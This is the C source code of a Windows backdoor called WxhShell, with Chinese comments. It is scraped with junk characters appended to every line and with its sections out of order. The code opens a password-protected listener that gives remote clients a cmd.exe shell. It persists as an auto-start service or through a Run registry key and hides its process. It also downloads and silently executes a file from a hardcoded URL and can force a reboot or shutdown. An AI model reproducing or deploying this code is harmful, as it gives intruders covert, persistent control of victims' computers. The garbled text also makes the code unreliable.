    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y`li> .\  
    else { MOZu.NmO  
    closesocket(wsh); otriif@+Z  
    ExitThread(0); zB)%lb  
    } s (PY/{8  
    break; VWa|Y@Dc]  
    } zG% |0  
  // 获取shell vA>W9OI   
  case 's': { ,b.n{91[]x  
    CmdShell(wsh); wh6&>m#r  
    closesocket(wsh); zy)i1d  
    ExitThread(0); _w u*M  
    break; P[i\e7mR  
  } f_<Y\  
  // 退出 |rPAC![=  
  case 'x': { `BT^a =5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  )U98  
    CloseIt(wsh); uLW/f=7 L  
    break; )x\z@g  
    } $h[Yzl  
  // 离开 j$P I,`  
  case 'q': { TmP8 q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x:-`o_Q*i  
    closesocket(wsh); (V9h2g&8L  
    WSACleanup(); ixI:@#5wY  
    exit(1); Slx2z%'>  
    break; r*d Q5 _  
        } ,U=E[X=H  
  } *x,HnHT  
  } >>V&yJ_  
> V%Q O>C  
  // 提示信息 h6QWH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <94WZ?{p  
} |5ONFd e"0  
  } FdxsU DL  
[x_s/"Md;  
  return; rm|7 [mK  
} %V_eJC""?  
$9H[3OZPVv  
// shell模块句柄 jT^!J+?6K+  
int CmdShell(SOCKET sock) 0xP:9rm  
{ {hd-w4"115  
STARTUPINFO si; OmNn,PCl8  
ZeroMemory(&si,sizeof(si)); # "r kuDO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `ue?Z%p|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Phlk1*1n  
PROCESS_INFORMATION ProcessInfo; \(u@F<s-  
char cmdline[]="cmd"; WOb8 "*OM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); # #>a&,  
  return 0; ptR  
} 2PBepgQyPU  
<7RfBR.9  
// 自身启动模式 <.$,`m,  
int StartFromService(void) O5MDGg   
{ B$7[8h  
typedef struct ZKQo#!}  
{ yBe(^ n  
  DWORD ExitStatus; ZR mPP  
  DWORD PebBaseAddress; `.8-cz  
  DWORD AffinityMask; t|=n1\=?  
  DWORD BasePriority; 2Iz fP;V?  
  ULONG UniqueProcessId; $jcz?vH  
  ULONG InheritedFromUniqueProcessId; k~|ZO/X@l%  
}   PROCESS_BASIC_INFORMATION; cG(0q[  
Rp4FXR jC  
PROCNTQSIP NtQueryInformationProcess; gMay  
9:\A7 =  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pn*d[M|k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  2}!R T  
iiN?\OO^~  
  HANDLE             hProcess; sL mW\\kA>  
  PROCESS_BASIC_INFORMATION pbi; D;C5,rN t  
$Sw,hb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T#N80BH[  
  if(NULL == hInst ) return 0; Nuq(4Yf1W  
zKMv7;s?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l#ygb|=x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !PI0oh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !qS05  
+{^'i P  
  if (!NtQueryInformationProcess) return 0; $w`veP  
ck~ '`<7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =W |vOfy  
  if(!hProcess) return 0; "c EvFY  
8J^d7uC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +7^w9G  
i&pMF O  
  CloseHandle(hProcess); Ej5^Y ?-6  
#:I^&~:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !p"Kd ~  
if(hProcess==NULL) return 0; (xQI($Wq*M  
fv/v|  
HMODULE hMod; 2D_6  
char procName[255]; D:6N9POB  
unsigned long cbNeeded; l3\9S#3-^  
PbQE{&D#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]3 j[3'  
qw)Key  
  CloseHandle(hProcess); %0 qc@4  
8nf4Jk8r  
if(strstr(procName,"services")) return 1; // 以服务启动 \`&xprqAw  
kp.|gzA6  
  return 0; // 注册表启动 Ltl]j*yei  
} _rG-#BKW8L  
3U>S]#5}  
// 主模块 fGG 9zB6  
int StartWxhshell(LPSTR lpCmdLine) @21u I{  
{ L*IU0Jy>  
  SOCKET wsl; Bd QQ9$@5  
BOOL val=TRUE; \Qp}|n1JY  
  int port=0; ko>M&/^  
  struct sockaddr_in door; pj j}K  
O/nqNQ?<  
  if(wscfg.ws_autoins) Install(); |<'10  
C~:b*X   
port=atoi(lpCmdLine); 7Z VVR*n|  
[(!Q-8  
if(port<=0) port=wscfg.ws_port; X CV0.u |  
z 3Zu C{  
  WSADATA data;  L2k;f]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {.cB>L  
KZi+j#7O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H]U "+52h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $=7H1 w  
  door.sin_family = AF_INET; j#CuR7m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s^obJl3  
  door.sin_port = htons(port); I? A~zigO  
7/ 4~>D&-b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ?DJuQFv  
closesocket(wsl); +<H !3sW  
return 1; YdPlN];[  
} QZWoKGd}+  
FV`3,NFk  
  if(listen(wsl,2) == INVALID_SOCKET) { @f-0X1C."N  
closesocket(wsl); y B1W>s8&  
return 1; y+l<vJu  
} ST#PMb'izn  
  Wxhshell(wsl);  h=:*7>}  
  WSACleanup(); ;U8dm"  
Qa>%[jx,@,  
return 0; Mp!2`4rD  
XL=2wh  
} O^y$8OKEi,  
0qOM78rE  
// 以NT服务方式启动 b$IY2W<Ln  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UnJi& ~O  
{ Ua}g  
DWORD   status = 0; //VG1@vaVX  
  DWORD   specificError = 0xfffffff; #@IQlqJfY7  
n (9F:N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lqg7D\7j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w6%l8+{R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5/*)+  
  serviceStatus.dwWin32ExitCode     = 0; %`bLmfm  
  serviceStatus.dwServiceSpecificExitCode = 0; 9Y;}JVS  
  serviceStatus.dwCheckPoint       = 0; <?{ SU   
  serviceStatus.dwWaitHint       = 0; ~_ (!}V  
_.u~)Q`6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \?aOExG I  
  if (hServiceStatusHandle==0) return; hg(KNvl  
c>M_?::)0  
status = GetLastError(); D "JMSL4r  
  if (status!=NO_ERROR) ;]|m((15G  
{ BASO$?jf4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N)`tI0/W  
    serviceStatus.dwCheckPoint       = 0; x*3@,GmZl  
    serviceStatus.dwWaitHint       = 0; y[TaM9<  
    serviceStatus.dwWin32ExitCode     = status; F I80vV7  
    serviceStatus.dwServiceSpecificExitCode = specificError; &pa)Ee>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I #Arr#%  
    return; a g|9$  
  } BF@m )w.v  
F^4*|g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KB$ vQ@N  
  serviceStatus.dwCheckPoint       = 0; ;""-[4C  
  serviceStatus.dwWaitHint       = 0; = .fc"R|<K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8f5%xY$  
} <6~/sa4GN  
`PXoJl  
// 处理NT服务事件,比如:启动、停止 !.x=r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O%r S;o  
{ :==UDVP  
switch(fdwControl) lsTe*Od  
{ !H2C9l:rd  
case SERVICE_CONTROL_STOP: '5&B~ 1&  
  serviceStatus.dwWin32ExitCode = 0; Ut0qr kqF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 37GHt9l  
  serviceStatus.dwCheckPoint   = 0; &QiAM`MbC=  
  serviceStatus.dwWaitHint     = 0;  ] I N -  
  { hg)!m\g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n:%'{}Jw  
  } aTmX!!  
  return; Zb5T90s%  
case SERVICE_CONTROL_PAUSE: BN bb&]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $6qR/#74  
  break; >EPaZp6  
case SERVICE_CONTROL_CONTINUE: i[V,IP +  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BbXmT"@  
  break; Ip1QVND  
case SERVICE_CONTROL_INTERROGATE: \J#I}-a&j  
  break; ^/4 {\3  
}; ?,A8  fR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n=<q3}1Jej  
} ,58kjTM  
'dd<<E  
// 标准应用程序主函数 &k {t0>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5k!(#@a_T  
{ 4kN:=g  
= m!!  
// 获取操作系统版本 pJ<)intcbE  
OsIsNt=GetOsVer(); KV3+}k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GLoL4el  
lB YS>4~  
  // 从命令行安装 {RWahnr{  
  if(strpbrk(lpCmdLine,"iI")) Install(); hU=f?jo/  
]7Xs=>"Iw  
  // 下载执行文件 EV;;N  
if(wscfg.ws_downexe) { @)FXG~C*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vErbX3RY2  
  WinExec(wscfg.ws_filenam,SW_HIDE); aTs y)=N  
} la6e`  
NWq [22X |  
if(!OsIsNt) { 6Wcn(h8%*  
// 如果时win9x,隐藏进程并且设置为注册表启动 s?z=q%-p  
HideProc(); oWn_3gzw;  
StartWxhshell(lpCmdLine); D0"yZp}  
} #&HarBxx  
else -bG#h)yj  
  if(StartFromService()) $txWVjR?\  
  // 以服务方式启动 *HfW(C$  
  StartServiceCtrlDispatcher(DispatchTable); }T&;*ww  
else 0Mzc1dG:  
  // 普通方式启动 }pU!1GsO  
  StartWxhshell(lpCmdLine); `^@g2c+d  
6 I>xd  
return 0; h_}BmJh_  
} ?7uStqa  
YV>VA<c  
ce-m)o/  
!3gpiQH{  
=========================================== |Cxip&e>  
.,(uoK{  
S -mzxj  
%[31ZFYB  
E,nYtn|B  
d%"@#bB  
" {yl/T:Bh&  
4 Q>jP3  
#include <stdio.h> _<&K]e@dp  
#include <string.h> 7xa@wa?!L  
#include <windows.h> >H]|A<9u(  
#include <winsock2.h> g#bfY=C  
#include <winsvc.h> 5<>R dLo  
#include <urlmon.h> 5>^ W}0s  
jmwQc&  
#pragma comment (lib, "Ws2_32.lib") .>\>F{#~  
#pragma comment (lib, "urlmon.lib") 0V>N#P]  
T3PaG\5B  
#define MAX_USER   100 // 最大客户端连接数 /m|&nl8"qe  
#define BUF_SOCK   200 // sock buffer [sh"?  
#define KEY_BUFF   255 // 输入 buffer I'wk/  
d}A2I  
#define REBOOT     0   // 重启 vo^9qSX f  
#define SHUTDOWN   1   // 关机 mU0r"\**c3  
Ny&Fjzl  
#define DEF_PORT   5000 // 监听端口 %.Q2r ?j  
sfBjA  
#define REG_LEN     16   // 注册表键长度 t.i9!'Y ]  
#define SVC_LEN     80   // NT服务名长度 [n@!=T  
|<o>$;mZ  
// 从dll定义API 8;dbU*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \/e*quxx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I@3c QxI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mk3e^,[A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !n?*vN=S  
77[;J  
// wxhshell配置信息 .]d tRH<  
struct WSCFG { cbHn\m)J,  
  int ws_port;         // 监听端口 "5z6~dq  
  char ws_passstr[REG_LEN]; // 口令 @):NNbtA  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bo\dt@0;  
  char ws_regname[REG_LEN]; // 注册表键名 R<YYf^y  
  char ws_svcname[REG_LEN]; // 服务名 #p:jKAc3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1Z{p[\k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "u> sS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8=_| qy}l/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mQ `r`DW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" frO/ nx|9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {UVm0AeUq  
JnKbd~  
}; GeW$lA I  
^# g;"K0  
// default Wxhshell configuration z4%F2Czai&  
struct WSCFG wscfg={DEF_PORT, W1,L>Az^Ts  
    "xuhuanlingzhe", R)d 7b,_Yd  
    1, l+kg4y  
    "Wxhshell", ="nrq&2  
    "Wxhshell", M:q ;z(  
            "WxhShell Service", ""KN?qh9  
    "Wrsky Windows CmdShell Service", Xcpm?aTo  
    "Please Input Your Password: ", 6}FDLBA  
  1, x@R A1&c  
  "http://www.wrsky.com/wxhshell.exe", CjukD%>sde  
  "Wxhshell.exe" oL/^[TXjH  
    }; .mU.eLM  
NGeeD?2~  
// 消息定义模块 rH_:7#.E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uEO2,1+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2n r UE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H_r'q9@<>  
char *msg_ws_ext="\n\rExit."; ZN]c>w[ )I  
char *msg_ws_end="\n\rQuit."; >Ti2E+}[M  
char *msg_ws_boot="\n\rReboot..."; 0Y`tj  
char *msg_ws_poff="\n\rShutdown..."; w*R-E4S?2  
char *msg_ws_down="\n\rSave to "; Pw0KQUs  
1&L){hg  
char *msg_ws_err="\n\rErr!"; \36;csu  
char *msg_ws_ok="\n\rOK!"; u z2s-,  
:[rKSA]@  
char ExeFile[MAX_PATH]; D{d$L9.  
int nUser = 0; COJ!b  
HANDLE handles[MAX_USER]; 6G})h!  
int OsIsNt; x;]{ 8#-z  
0\<-R  
SERVICE_STATUS       serviceStatus; r4>I?lD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 93eqFCF.  
8 =Lv7G%  
// 函数声明 L/+J|_J)  
int Install(void); ,^Srd20  
int Uninstall(void); %H~gN9Vn#@  
int DownloadFile(char *sURL, SOCKET wsh); #\;w::  
int Boot(int flag); HPH{{p  
void HideProc(void); NB#*`|qt  
int GetOsVer(void); 1 3az [  
int Wxhshell(SOCKET wsl); NKh {iSLm  
void TalkWithClient(void *cs); ~"YNG?Rre  
int CmdShell(SOCKET sock); bHT@]`@@  
int StartFromService(void); c\ *OId1{;  
int StartWxhshell(LPSTR lpCmdLine); RL)3k8pk  
d*(\'6?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "8 mulE,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @{a-IW 3  
_Cs}&Bic_  
// 数据结构和表定义 T/6=A$4 #  
SERVICE_TABLE_ENTRY DispatchTable[] = TmZ[?IL,  
{ 6(^9D_"@  
{wscfg.ws_svcname, NTServiceMain}, w1G.^  
{NULL, NULL} 1@dx(_  
}; \)]2Uh|  
io'Ovhf:  
// 自我安装 RUtS_Z&  
int Install(void) XFe7qt;%  
{ pREY AZh  
  char svExeFile[MAX_PATH]; {4q:4 i  
  HKEY key; ?7ZlX?D[  
  strcpy(svExeFile,ExeFile); Y-{BY5E.  
Czxrn2p/  
// 如果是win9x系统,修改注册表设为自启动 cY]Y8T)  
if(!OsIsNt) { <~*Ol+/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j7+t@DqQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vp9<.*h  
  RegCloseKey(key); _ 7.y4zQJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5hK\YTU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LkB!:+v |B  
  RegCloseKey(key); GK%ovK  
  return 0; oA%[x  
    } v('d H"Y  
  } W>nb9Isp  
} gD =5M\  
else { * v]UgPk  
{f3fc8(p  
// 如果是NT以上系统,安装为系统服务 Z!eq/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w8ld* z  
if (schSCManager!=0) u.FDe2|[)  
{ 3:#rFb  
  SC_HANDLE schService = CreateService mnj A8@1  
  ( eF1%5;" W  
  schSCManager, ljON_*  
  wscfg.ws_svcname, hyoZh Y  
  wscfg.ws_svcdisp, `{_PSzM  
  SERVICE_ALL_ACCESS, Rw 8o]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2H "iN[2A  
  SERVICE_AUTO_START, ,quTMtk~  
  SERVICE_ERROR_NORMAL, ,?/<fxIY  
  svExeFile, %/on\*Vh3  
  NULL, mIo7 K5z{  
  NULL, W fNMyI  
  NULL, RBD MZ  
  NULL, p2(_YN;s  
  NULL LTct0Gh  
  ); db~:5#*  
  if (schService!=0) 1U7HS2  
  { *)I1gR~  
  CloseServiceHandle(schService); @E;pT3; )  
  CloseServiceHandle(schSCManager); - S-1<xR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S>E.*]_  
  strcat(svExeFile,wscfg.ws_svcname); 9#6/c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Q7$I.O]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); elgQcJ99  
  RegCloseKey(key); `p|vutk)U  
  return 0; >#|Yoc  
    } vDvGT<d  
  } ^W'[l al.  
  CloseServiceHandle(schSCManager); o |iLBh$)  
} ulM&kw.4i  
} ;~1JbP  
w'XgW0j{  
return 1; CF_!{X_k}  
} n#cN[C9  
qT @IY)e  
// 自我卸载 f tDV3If  
int Uninstall(void) k;7.qhe:  
{ mO.U )tL[  
  HKEY key; I9>*Yy5RNS  
q+~CA[H5K  
if(!OsIsNt) { |9eY R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2A+,. S_!x  
  RegDeleteValue(key,wscfg.ws_regname); J3;KQ}F.I  
  RegCloseKey(key); n.RhA-O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hh&y2#Io  
  RegDeleteValue(key,wscfg.ws_regname); 5zOSb$;  
  RegCloseKey(key); B,,d~\  
  return 0; >,Z{wxz J  
  } A o$z )<d'  
} DA~ELje^j  
} Bn q\Gg  
else { yw!`1#3.  
qV,j)b3M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w-Fk&dC69  
if (schSCManager!=0) GR `ncI$z  
{ 2z3A"HrlA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f*Js= hvO  
  if (schService!=0) _9r{W65s  
  { ^j}sS!p  
  if(DeleteService(schService)!=0) { {m:R v&T  
  CloseServiceHandle(schService); W^Y0>W~  
  CloseServiceHandle(schSCManager); ; bE6Y]"Rz  
  return 0; 3~rc=e  
  } cU|jT8Q4H  
  CloseServiceHandle(schService); =U2n"du  
  } a*y mBGF  
  CloseServiceHandle(schSCManager); x$DJ  
} V"iLeC  
} *'-^R9dN.S  
IoOnS)  
return 1; !@k@7~i  
} MDt?7c  
c\MDOD%9  
// 从指定url下载文件 \-ws[  
int DownloadFile(char *sURL, SOCKET wsh) 1H7Q[ 2E  
{ Dj"=kL0  
  HRESULT hr; I xBO$ 2  
char seps[]= "/"; n4y6Ua9m{  
char *token; %;$Y|RbmqE  
char *file; _B FX5ifK  
char myURL[MAX_PATH]; HH@xn d  
char myFILE[MAX_PATH]; K9'*q3z  
8-YrmP2k  
strcpy(myURL,sURL); WEAXqDjM  
  token=strtok(myURL,seps); S\gP=.G  
  while(token!=NULL) *wcoDQ b;  
  { 4+,Z'J%\[7  
    file=token; >+8I =S  
  token=strtok(NULL,seps); P@`"MNS  
  } f om"8iL1  
^I?y\:.  
GetCurrentDirectory(MAX_PATH,myFILE); REBDr;tv  
strcat(myFILE, "\\"); 1G.gPx[  
strcat(myFILE, file); ?ovGYzUZ  
  send(wsh,myFILE,strlen(myFILE),0); 1:UC\WW  
send(wsh,"...",3,0); JZxF)] ^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d2yHfl]3  
  if(hr==S_OK) LfXr(2u  
return 0; I.1l  
else 5zna?(#}  
return 1; J5 ( D7rp#  
@rE )xco  
} w{EU9C  
B?Sfcq-  
// 系统电源模块 1R9? [RE  
int Boot(int flag) w{x(YVS H  
{ /,$\H  
  HANDLE hToken; PGl-2Cr  
  TOKEN_PRIVILEGES tkp; <W') ~o}  
% ul{nL:  
  if(OsIsNt) { z}&C(m:al  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BM~niW;k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^T6!z^g1h  
    tkp.PrivilegeCount = 1; FD+PD:cQn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TFDCo_>o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }h h^U^ia  
if(flag==REBOOT) { [=3tAPpzK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pF+wH MhUe  
  return 0; w*}yw"gP*0  
} [iy;}5XK  
else { ~c$ts&Cl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C?|3\@7  
  return 0; r ;8z"*  
} N@a'd0oTd  
  } |ZlT>u  
  else { 166c\QO  
if(flag==REBOOT) { y$V)^-U>fw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /Py>HzRE:  
  return 0; '?3z6%  
} >=:T ZU  
else { QF/u^|f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f,inQ2f}d  
  return 0; 'oQP:*Btl3  
} s Xk?.A_D  
} zTT  
AeCG2!8^0  
return 1; B00wcYM<1r  
} ^|i\d \  
0W%}z}/ N  
// win9x进程隐藏模块 `R52{B#&/  
void HideProc(void) 7P^{*!  
{ #_\MD,(  
*u;">H*BW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :_,]?n  
  if ( hKernel != NULL ) "u8o?8+q~  
  { G,|]a#w&v.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B~g05`s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |$?Ux,(6  
    FreeLibrary(hKernel); \(U"_NPp  
  } vcJb\LW  
'EET3R K-S  
return; PeUd  
} j*~dFGl)  
OK?3,<x  
// 获取操作系统版本 J$9xC{L4  
int GetOsVer(void) AKC foJ  
{ K0RYI69_  
  OSVERSIONINFO winfo; 8w8I:*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fxth> O`$  
  GetVersionEx(&winfo); j[J@tM#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]{2{:`s  
  return 1; Q] yT  
  else 0 ij~e<  
  return 0; 0"qim0%|DF  
} !eAdm  
!:O/|.+Vmf  
// 客户端句柄模块 OV("mNh  
int Wxhshell(SOCKET wsl) p@7i=hyt`p  
{ *(&ClUQQ  
  SOCKET wsh; .4C[D{4  
  struct sockaddr_in client; ^A "lkV7  
  DWORD myID; K l0tyeT  
-wRyMY_ D  
  while(nUser<MAX_USER) +>WC^s  
{ qz=#;&ZU  
  int nSize=sizeof(client); %][$y 7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IgiF,{KE,  
  if(wsh==INVALID_SOCKET) return 1; H (NT|  
/q"d`!h)w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sE%<"h\_0  
if(handles[nUser]==0) }L$Xb2^l  
  closesocket(wsh); 0fPHh>u  
else `f 6)Q`n  
  nUser++; $v'Y:  
  } Ue g N-n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JXLWRe  
k BiBXRt  
  return 0; @"{'j  
} 5h|m4)$  
U.hERe ~X  
// 关闭 socket P7wqZ?  
void CloseIt(SOCKET wsh) >)n4s Mq  
{ MB8SB   
closesocket(wsh); # NN"(I  
nUser--; G V:$;  
ExitThread(0); :e&n.i^  
} $vTAF-~Ql  
$\,BpZ }3  
// 客户端请求句柄 W`Q$t56  
void TalkWithClient(void *cs) Hw?2XDv j  
{ ,u&tB|,W,  
QlRoe| {  
  SOCKET wsh=(SOCKET)cs; X<Th{kM2  
  char pwd[SVC_LEN]; T}t E/  
  char cmd[KEY_BUFF]; o4/I1Mq  
char chr[1];  z _O,Y  
int i,j; 2 ]V>J  
."IJmv  
  while (nUser < MAX_USER) { aVQSN  
9QH9gdiw  
if(wscfg.ws_passstr) { p2Dh3)&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < g3du~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rQcRjh+E H  
  //ZeroMemory(pwd,KEY_BUFF); U R1JbyT  
      i=0; B.22 DuE#  
  while(i<SVC_LEN) { B?;' lDz*  
-Wlp=#9  
  // 设置超时 h6\3vfj^f  
  fd_set FdRead; <'}b*wUB  
  struct timeval TimeOut; p<=(GY-  
  FD_ZERO(&FdRead); v@fe-T&0  
  FD_SET(wsh,&FdRead); O}K_l1  
  TimeOut.tv_sec=8; -t@y\vZF,  
  TimeOut.tv_usec=0; b W=.K>|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3!.H^v?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 't|Un G  
=% q?Cr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 11)/] ?/j  
  pwd=chr[0]; %NT`C9][  
  if(chr[0]==0xd || chr[0]==0xa) { 1p7cv~#95  
  pwd=0; 29Gwv  
  break; ~!]&>n;=G  
  } Ml8 YyF/~  
  i++; GJ1;\:cQq  
    } d~{jEg  
L$+d.=]  
  // 如果是非法用户,关闭 socket rU=b?D)n!w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (C`FicY  
} O{k89{  
[=F>#8=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I 1b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $J QWfGwR  
Q_&}^  
while(1) { hrs#ZZ:E  
m~)Fr8Wh6  
  ZeroMemory(cmd,KEY_BUFF); bZNIxkc[Dh  
9 wO/?   
      // 自动支持客户端 telnet标准   0'?V|V=v  
  j=0; vKNt$]pm=  
  while(j<KEY_BUFF) { q2x|%H RF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  4%g6_KB  
  cmd[j]=chr[0]; P%zH>K  
  if(chr[0]==0xa || chr[0]==0xd) { _0'm4?"  
  cmd[j]=0; b8J @K"  
  break;  Y{B9`Z  
  } RAIVdQ}.Z  
  j++; aO8c h  
    } ]y3pE}R  
#TMm#?lC  
  // 下载文件 9=t#5J#O  
  if(strstr(cmd,"http://")) { :s'o~   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xGYSi5}z  
  if(DownloadFile(cmd,wsh)) I jZ]_*^!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $_Y/'IN`k  
  else -1qZqU$h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qqnclqkw&  
  } [Q4_WKI0T  
  else { _& 8O~8tW  
&qJPwO  
    switch(cmd[0]) { ;~ W8v.EW  
  Zimh _  
  // 帮助 SArfczoB  
  case '?': { P!kw;x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lj .nCV_  
    break; kTnOmA w  
